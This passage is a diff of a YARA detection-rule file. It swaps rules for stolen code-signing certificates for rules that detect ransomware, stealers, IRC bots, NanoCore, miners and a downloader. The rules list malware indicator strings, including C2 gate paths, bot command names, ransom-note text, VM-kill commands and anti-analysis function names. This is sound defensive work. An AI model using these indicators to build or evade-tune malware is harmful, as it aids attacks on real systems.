+		$s4 = "-o {0} -u {1} -p {2} -k --cpu-priority 0 --threads={3}" wide
+		$s5 = "--algo ethash --server" wide
+		$s6 = "--algo kawpow --server" wide
+		$cnc1 = "/delonl.php?hwid=" fullword wide
+		$cnc2 = "/gateonl.php?hwid=" fullword wide
+		$cnc3 = "&cpuname=" fullword wide
+		$cnc4 = "&gpuname=" fullword wide
+		$cnc5 = "{0}/gate.php?hwid={1}&os={2}&cpu={3}&gpu={4}&dateinstall={5}&gpumem={6}" fullword wide
+		$cnc6 = "/del.php?hwid=" fullword wide
+		$f1 = "<StartGpuethGminer>b__" ascii
+		$f2 = "<StartGpuetcGminer>b__" ascii
+		$f3 = "<StartGpurvnGminer>b__" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ACTA FIS d.o.o." and pe.signatures[i].serial=="5a:17:d5:de:74:fd:8f:09:df:59:6d:f3:12:31:39:bb")
+		uint16(0)==0x5a4d and (3 of ($cnc*) or (2 of ($f*) and (1 of ($s*) or 1 of ($f*))) or all of ($f*) or 5 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_15Da61D7E1A631803431561674Fb9B90 : FILE
+rule DITEKSHEN_MALWARE_Win_Zeppelin : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Zeppelin (Delphi) ransomware"
 		author = "ditekSHen"
-		id = "d1fd8200-0960-567d-9bb6-2bd1ed99f61b"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "368d0c31-745d-50ad-a265-50561fdc822a"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4483-L4494"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7530-L7545"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4d30a4bf1b0425081369351df707be0531dcc1751512d9012a859b621d61a1b3"
+		logic_hash = "f6c8420756b562662985dd26eaad58500a24cae786a47b788c953e86276116a1"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "9a9bc3974e3cbbabdeb2b6debdc0455586e128a4"
-		importance = 20
+
+	strings:
+		$s1 = "TUnlockAndEncrypt" ascii
+		$s2 = "TExcludeFiles" ascii
+		$s3 = "TExcludeFolders" ascii
+		$s4 = "TDrivesAndShares" ascii
+		$s5 = "TTaskKiller" ascii
+		$x1 = "!!! D !!!" ascii
+		$x2 = "!!! LOCALPUBKEY !!!" ascii
+		$x3 = "!!! ENCLOCALPRIVKEY !!!" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "JAY DANCE STUDIO d.o.o." and pe.signatures[i].serial=="15:da:61:d7:e1:a6:31:80:34:31:56:16:74:fb:9b:90")
+		uint16(0)==0x5a4d and ( all of ($s*) or all of ($x*) or (2 of ($x*) and 2 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_58Aa64564A50E8B2D6E31D5Cd6250Fde : FILE
+rule DITEKSHEN_MALWARE_Win_Slackbot : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects SlackBot"
 		author = "ditekSHen"
-		id = "b6eff323-241a-5f11-837f-bfacdc547d89"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "cd540aa2-dc8f-5ccc-b66c-a8d72b73c896"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4496-L4507"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7547-L7588"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7383dfc8b22379dc69cd1d93d2da40e177ba1e3b0b8b8891afb8ce594269d170"
+		logic_hash = "919839883c437b69cf7f380830f2499be24415f96f1e42424e4859114f958581"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "a7b43a5190e6a72c68e20f661f69ddc24b5a2561"
-		importance = 20
+
+	strings:
+		$x1 = "lp0o4bot v" ascii
+		$x2 = "slackbot " ascii
+		$s1 = "cpu: %lumhz %s, uptime: %u+%.2u:%.2u, os: %s" fullword ascii
+		$s2 = "%s, running for %u+%.2u:%.2u" fullword ascii
+		$s3 = "PONG :%s" fullword ascii
+		$s4 = "PRIVMSG %s :%s" fullword ascii
+		$s5 = "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)" fullword ascii
+		$m1 = "saving %s to %s" ascii
+		$m2 = "visit number %u failed" ascii
+		$m3 = "sending %s packets of %s bytes to %s with a delay of %s" ascii
+		$m4 = "file executed" ascii
+		$m5 = "packets sent" ascii
+		$m6 = "upgrading to %s" ascii
+		$m7 = "rebooting..." ascii
+		$c1 = "!@remove" fullword ascii
+		$c2 = "!@restart" fullword ascii
+		$c3 = "!@reboot" fullword ascii
+		$c4 = "!@rndnick" fullword ascii
+		$c5 = "!@exit" fullword ascii
+		$c6 = "!@sysinfo" fullword ascii
+		$c7 = "!@upgrade" fullword ascii
+		$c8 = "!@login" fullword ascii
+		$c9 = "!@run" fullword ascii
+		$c10 = "!@webdl" fullword ascii
+		$c11 = "!@cycle" fullword ascii
+		$c12 = "!@clone" fullword ascii
+		$c13 = "!@visit" fullword ascii
+		$c14 = "!@udp" fullword ascii
+		$c15 = "!@nick" fullword ascii
+		$c16 = "!@say" fullword ascii
+		$c17 = "!@quit" fullword ascii
+		$c18 = "!@part" fullword ascii
+		$c19 = "!@join" fullword ascii
+		$c20 = "!@raw" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Foreground" and pe.signatures[i].serial=="58:aa:64:56:4a:50:e8:b2:d6:e3:1d:5c:d6:25:0f:de")
+		uint16(0)==0x5a4d and ( all of ($x*) or all of ($s*) or all of ($m*) or (10 of ($c*) and (1 of ($x*) or 3 of ($s*) or 2 of ($m*))))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Bbd4Dc3768A51Aa2B3059C1Bad569276 : FILE
+rule DITEKSHEN_MALWARE_Win_Sweetystealer : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects SweetyStealer"
 		author = "ditekSHen"
-		id = "cb5214b4-1af5-5b31-b690-6531139e92b1"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "21dd1706-2cb5-5b27-ad3a-c3de8e6fb333"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4509-L4520"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7590-L7608"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d506c2d6e630fabe1d4b805cd31aa54b04959db80630f656b3460c869ad544fa"
+		logic_hash = "ecf22240b47af077055260faba0406721f1b4cc5ed04180285df0de86c4e1241"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "36936c4aa401c3bbeb227ce5011ec3bdc02fdd14"
-		importance = 20
-
-	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "JJ ELECTRICAL SERVICES LIMITED" and pe.signatures[i].serial=="00:bb:d4:dc:37:68:a5:1a:a2:b3:05:9c:1b:ad:56:92:76")
-}
-import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_3A236F003Bdefc0C55Aa42D9C6C0B08E : FILE
-{
-	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "02c95d8f-f694-5d0f-bf79-b806334e8af3"
-		date = "2023-12-08"
-		modified = "2023-12-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4522-L4533"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9930b2d3fdbd2f6da17d78dfbfe6229f0bd004686e4cc4960720710241237e48"
-		score = 75
-		quality = 75
-		tags = "FILE"
-		thumbprint = "5ba147ebae6089f99823b1640c305b337b1a4c36"
-		importance = 20
+	strings:
+		$s1 = "SWEETY STEALER" wide
+		$s2 = "\\SWEETYLOG.zip" fullword wide
+		$s3 = "\\SWEETY STEALER\\SWEETY\\" ascii
+		$s4 = "\\Sweety" fullword wide
+		$s5 = "SWEETYSTEALER." ascii
+		$s6 = "in Virtual Environment, so we prevented stealing" wide
+		$s7 = ":purple_square:" wide
+		$f1 = "<GetDomainDetect>b__" ascii
+		$f2 = "<GetAllProfiles>b__" ascii
+		$f3 = "<ProcessExtraFieldZip64>b__" ascii
+		$f4 = "<PostExtractCommandLine>k__" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Assurio" and pe.signatures[i].serial=="3a:23:6f:00:3b:de:fc:0c:55:aa:42:d9:c6:c0:b0:8e")
+		uint16(0)==0x5a4d and 3 of ($s*) or (3 of ($f*) and 1 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_010000000001302693Cb45 : FILE
+rule DITEKSHEN_MALWARE_Win_Genircbot : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects generic IRCBots"
 		author = "ditekSHen"
-		id = "0ab8e30d-dd75-5dd1-9bc8-413e59d5d310"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "e1faa1dd-bbf5-5208-97d6-a6e8597d39bc"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4535-L4547"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7610-L7626"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		hash = "74069d20e8b8299590420c9af2fdc8856c14d94929c285948585fc89ab2f938f"
-		logic_hash = "74c5d88012ab3e975123cde51ae3d01b6bee1ad0d6c0f5492c507fb2472b7532"
+		logic_hash = "cc7f4599148c45fdf755c07530ae4846b7e283b5c1001c121f9ea05279997dc1"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "bc5fcb5a2b5e0609e2609cff5e272330f79b2375"
-		importance = 20
+
+	strings:
+		$s1 = "@login" ascii nocase
+		$s2 = "PRIVMSG" fullword ascii
+		$s3 = "JOIN" fullword ascii
+		$s4 = "PING :" fullword ascii
+		$s5 = "NICK" fullword ascii
+		$s6 = "USER" fullword ascii
+		$x1 = "irc.danger.net" fullword ascii nocase
+		$x2 = "evilBot" fullword ascii nocase
+		$x3 = "#evilChannel" fullword ascii nocase
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "AutoIt Consulting Ltd" and pe.signatures[i].serial=="01:00:00:00:00:01:30:26:93:cb:45")
+		uint16(0)==0x5a4d and ( all of ($s*) or 2 of ($x*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_3F8D23C136Ae9Cbeeac7605B24Ec0391 : FILE
+rule DITEKSHEN_MALWARE_Win_Nitro : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Nitro Ransomware"
 		author = "ditekSHen"
-		id = "86617b78-86b0-59dc-a072-cb4acecd60e1"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "3edb62e0-0544-5291-a949-a45fdf881c7e"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4565-L4576"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7628-L7652"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f074e141e07cbf6b5b4726b52faa382b8ece809804dcfb9d45a5b2450125b5b7"
+		logic_hash = "03da21ece2de530a9c2ba08a9e44c9a92bc9ca0a6d4ac9507899d1f3dcd03e37"
 		score = 75
-		quality = 75
+		quality = 69
 		tags = "FILE"
-		thumbprint = "ff481ea6a887f3b5b941ff7d99a6cdf90c814c40"
-		importance = 20
+
+	strings:
+		$x1 = ".givemenitro" wide
+		$x2 = "Nitro Ransomware" ascii wide
+		$x3 = "\\NitroRansomware.pdb" ascii
+		$x4 = "NitroRansomware" ascii wide nocase
+		$s1 = "Valid nitro code was received" wide
+		$s2 = "discord nitro" ascii wide nocase
+		$s3 = "Starting file encryption" wide
+		$s4 = "NR_decrypt.txt" wide
+		$s5 = "open it unless you have the decryption key." ascii
+		$s6 = "<EncryptAll>b__" ascii
+		$s7 = "<DecryptAll>b__" ascii
+		$s8 = "DECRYPT_PASSWORD" fullword ascii
+		$s9 = "IsEncrypted" fullword ascii
+		$s10 = "CmdProcess_OutputDataReceived" fullword ascii
+		$s11 = "encryptedFileLog" fullword ascii
+		$s12 = "Encrypting:" fullword wide
+		$s13 = "decryption key. If you do so, your files may get corrupted" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Bandicam Company" and pe.signatures[i].serial=="3f:8d:23:c1:36:ae:9c:be:ea:c7:60:5b:24:ec:03:91")
+		uint16(0)==0x5a4d and (3 of ($x*) or (3 of ($s*) and 1 of ($x*)) or (7 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_3972443Af922B751D7D36C10Dd313595 : FILE
+rule DITEKSHEN_MALWARE_Win_Nanocore : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects NanoCore"
 		author = "ditekSHen"
-		id = "21ada866-167a-54d5-a137-7720de32520e"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "931b98f6-df2b-538b-bc49-ecbbd24334da"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4578-L4589"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7654-L7681"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "764d0a288edd3bac90c0b93319f4f8ff8a7d567cda42aa52fe6114f4e56216ad"
+		logic_hash = "6336260e0af2b4b51338ee066f41b7c58aa134a6c03ca110db7e088edf2b65a7"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "d89e3bd43d5d909b47a18977aa9d5ce36cee184c"
-		importance = 20
+
+	strings:
+		$x1 = "NanoCore Client" fullword ascii
+		$x2 = "NanoCore.ClientPlugin" fullword ascii
+		$x3 = "NanoCore.ClientPluginHost" fullword ascii
+		$i1 = "IClientApp" fullword ascii
+		$i2 = "IClientData" fullword ascii
+		$i3 = "IClientNetwork" fullword ascii
+		$i4 = "IClientAppHost" fullword ascii
+		$i5 = "IClientDataHost" fullword ascii
+		$i6 = "IClientLoggingHost" fullword ascii
+		$i7 = "IClientNetworkHost" fullword ascii
+		$i8 = "IClientUIHost" fullword ascii
+		$i9 = "IClientNameObjectCollection" fullword ascii
+		$i10 = "IClientReadOnlyNameObjectCollection" fullword ascii
+		$s1 = "ClientPlugin" fullword ascii
+		$s2 = "EndPoint" fullword ascii
+		$s3 = "IPAddress" fullword ascii
+		$s4 = "IPEndPoint" fullword ascii
+		$s5 = "IPHostEntr" fullword ascii
+		$s6 = "get_ClientSettings" fullword ascii
+		$s7 = "get_Connected" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Sore Loser Games ApS" and pe.signatures[i].serial=="39:72:44:3a:f9:22:b7:51:d7:d3:6c:10:dd:31:35:95")
+		uint16(0)==0x5a4d and (2 of ($x*) or 8 of ($i*) or all of ($s*) or (1 of ($x*) and (3 of ($i*) or 2 of ($s*))))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_37F3384B16D4Eef0A9B3344B50F1D8A3 : FILE
+rule DITEKSHEN_MALWARE_Win_Satan : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Satan ransomware"
 		author = "ditekSHen"
-		id = "a7eef803-2c9e-5f23-acde-22ae2223fec2"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "f0a9369e-a3d7-5770-b490-4c9a919abb82"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4591-L4602"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7683-L7709"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4496052ff9677e0d031471e4ae9b3541099a2dbe024b4b5ba3f757800bfdcb07"
+		logic_hash = "e50daa88e0067a0f00329c6369c0334bd282fb102c91ba5ca770da97851d6d2e"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "3fcdcf15c35ef74dc48e1573ad1170b11a623b40"
-		importance = 20
+
+	strings:
+		$s1 = "S:(ML;;NRNWNX;;;LW)" fullword wide
+		$s2 = "recycle.bin" fullword wide
+		$s3 = "tmp_" fullword wide
+		$s4 = "%s%08x.%s" fullword wide
+		$s5 = "\"%s\" %s" fullword wide
+		$s6 = "/c \"%s\"" fullword wide
+		$s7 = "Global\\" fullword wide
+		$s8 = "rd /S /Q \"%s\"" fullword ascii
+		$s9 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)" fullword ascii
+		$e1 = "*pdf*" fullword wide
+		$e2 = "*rtf*" fullword wide
+		$e3 = "*doc*" fullword wide
+		$e4 = "*docx*" fullword wide
+		$e5 = "*xlsx*" fullword wide
+		$e6 = "*pptx*" fullword wide
+		$e7 = "*moneywell*" fullword wide
+		$o1 = { 56 8d 54 24 34 b9 9e f0 ea be e8 c1 f9 ff ff 8d }
+		$o2 = { b9 34 f6 40 00 e8 ea 0b 00 00 85 c0 0f 84 91 }
+		$o3 = { 53 8d 84 24 34 01 00 00 b9 01 00 00 80 50 a1 64 }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Sore Loser Games ApS" and pe.signatures[i].serial=="37:f3:38:4b:16:d4:ee:f0:a9:b3:34:4b:50:f1:d8:a3")
+		uint16(0)==0x5a4d and ((8 of ($s*) and 4 of ($e*)) or all of ($s*) or ( all of ($e*) and 5 of ($s*)) or ( all of ($o*) and 8 of them ))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00B3969Cd6B2F913Acc99C3F61Fc14852F : FILE
+rule DITEKSHEN_MALWARE_Win_Neshta : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Neshta"
 		author = "ditekSHen"
-		id = "2cd4cee3-0adc-595f-b86f-7c515cd0ea64"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "b96ee19e-b631-57fd-bf8a-67d790202c46"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4604-L4619"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7711-L7720"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4ee7f3da2ae707517c1c426e6a73fdede51514e4ddf60b93fd77c1b6c23e82c0"
+		logic_hash = "7967c1154f652e28e541058a7b7f61aa077cfaf6be58282e1de68d9a6088c1ac"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "bd9cadcfb5cde90f493a92e43f49bf99db177724"
-		hash1 = "a4d9cf67d111b79da9cb4b366400fc3ba1d5f41f71d48ca9c8bb101cb4596327"
-		importance = 20
+
+	strings:
+		$s1 = "Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus." fullword ascii
+		$s2 = "! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "S.O.M GmbH" and (pe.signatures[i].serial=="b3:96:9c:d6:b2:f9:13:ac:c9:9c:3f:61:fc:14:85:2f" or pe.signatures[i].serial=="00:b3:96:9c:d6:b2:f9:13:ac:c9:9c:3f:61:fc:14:85:2f"))
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0D83E7F47189Cdbfc7Fa3E5F58882329 : FILE
+rule DITEKSHEN_MALWARE_Linux_Hellokitty : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Linux version of HelloKitty ransomware"
 		author = "ditekSHen"
-		id = "6574aab4-f307-53c2-8cf7-bcc7565facc8"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "bb228937-8cd8-5fb8-aaed-3bd539ae96f2"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4621-L4632"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7722-L7746"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c4dffcad286e161980ccec2188459b8b7eaf0e982c7c69ca5ffbaf8e4d85d1b4"
+		logic_hash = "bcb1188d616b29fa535e757a37476435a3061d27e143339413f6829876701868"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "ba4bf6d8caac468c92dd7cd4303cbdb2c9f58886"
-		importance = 20
+
+	strings:
+		$s1 = "exec_pipe:%s" ascii
+		$s2 = "Error InitAPI !!!" fullword ascii
+		$s3 = "No Files Found !!!" fullword ascii
+		$s4 = "Error open log File:%s" fullword ascii
+		$s5 = "%ld - Files Found  " fullword ascii
+		$s6 = "Total VM run on host:" fullword ascii
+		$s7 = "error:%d open:%s" fullword ascii
+		$s8 = "work.log" fullword ascii
+		$s9 = "esxcli vm process kill" ascii
+		$s10 = "readdir64" fullword ascii
+		$s11 = "%s_%d.block" fullword ascii
+		$s12 = "EVP_EncryptFinal_ex" fullword ascii
+		$s13 = ".README_TO_RESTORE" fullword ascii
+		$m1 = "COMPROMISED AND YOUR SENSITIVE PRIVATE INFORMATION WAS STOLEN" ascii nocase
+		$m2 = "damage them without special software" ascii nocase
+		$m3 = "leaking or being sold" ascii nocase
+		$m4 = "Data will be Published and/or Sold" ascii nocase
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "THE WIZARD GIFT CORPORATION" and pe.signatures[i].serial=="0d:83:e7:f4:71:89:cd:bf:c7:fa:3e:5f:58:88:23:29")
+		uint16(0)==0x457f and (6 of ($s*) or (2 of ($m*) and 2 of ($s*)) or 8 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_008385684419Ab26A3F2640B1496E1Fe94 : FILE
+rule DITEKSHEN_MALWARE_Win_Blackmatter : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects BlackMatter ransomware"
 		author = "ditekSHen"
-		id = "5aa92ac6-241f-54a1-b828-f8a5deb6d212"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "8883e652-edab-5cbf-a4fa-963b437447d9"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4634-L4645"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7748-L7767"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7c9de438d5c7156052e30ce70310aaa989ff1896f7b34ffc6c4fd8fc2bc60b85"
+		logic_hash = "4558002b424f7102f67fc44dfc37ac20f6013e25ae827c6aee0fc37231e2fa72"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "ee1d7d90957f3f2ccfcc069f5615a5bafdac322f"
-		importance = 20
+
+	strings:
+		$s1 = "C:\\Windows\\System32\\*.drv" fullword wide
+		$s2 = "NYbr-Vk@" fullword ascii
+		$s3 = ":7:=:H:Q:W:\\:b:&;O;^;v;" fullword ascii
+		$o1 = { b0 34 aa fe c0 e2 fb b9 03 }
+		$o2 = { fe 00 ff 75 08 ff 75 0c ff b5 d8 fe ff ff ff b5 }
+		$o3 = { 6a 00 ff 75 0c ff b5 d8 fe ff ff ff b5 dc fe ff }
+		$o4 = { ff 75 08 ff 75 0c ff b5 d8 fe ff ff ff b5 dc fe }
+		$o5 = { 53 56 57 8d 85 70 ff ff ff 83 c0 0f 83 e0 f0 89 }
+		$o6 = { c7 85 68 ff ff ff 00 04 00 00 8b 85 6c ff ff ff }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "CAUSE FOR CHANGE LTD" and pe.signatures[i].serial=="00:83:85:68:44:19:ab:26:a3:f2:64:0b:14:96:e1:fe:94")
+		uint16(0)==0x5a4d and ( all of ($s*) and all of ($o*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_1Aec3D3F752A38617C1D7A677D0B5591 : FILE
+rule DITEKSHEN_MALWARE_Win_Dlinjector04 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects downloader / injector"
 		author = "ditekSHen"
-		id = "8e1bb307-733c-5626-98f6-a5c2587bf800"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "fe423aee-6ff4-5fd0-9fa2-51dd0c27f54b"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4647-L4658"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7769-L7790"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4bbe5aac8a470061abab48070fafd2100c577cab1f40fcc5924dbd13bc747487"
+		logic_hash = "ab9a047e53dec2cc5986522636783b5cb8aae7fc0297292d017ec22ee5750cce"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "1d41b9f7714f221d76592e403d2fbb0f0310e697"
-		importance = 20
+
+	strings:
+		$s1 = "Runner" fullword ascii
+		$s2 = "DownloadPayload" fullword ascii
+		$s3 = "RunOnStartup" fullword ascii
+		$a1 = "Antis" fullword ascii
+		$a2 = "antiVM" fullword ascii
+		$a3 = "antiSandbox" fullword ascii
+		$a4 = "antiDebug" fullword ascii
+		$a5 = "antiEmulator" fullword ascii
+		$a6 = "enablePersistence" fullword ascii
+		$a7 = "enableFakeError" fullword ascii
+		$a8 = "DetectVirtualMachine" fullword ascii
+		$a9 = "DetectSandboxie" fullword ascii
+		$a10 = "DetectDebugger" fullword ascii
+		$a11 = "CheckEmulator" fullword ascii
 
 	condition:
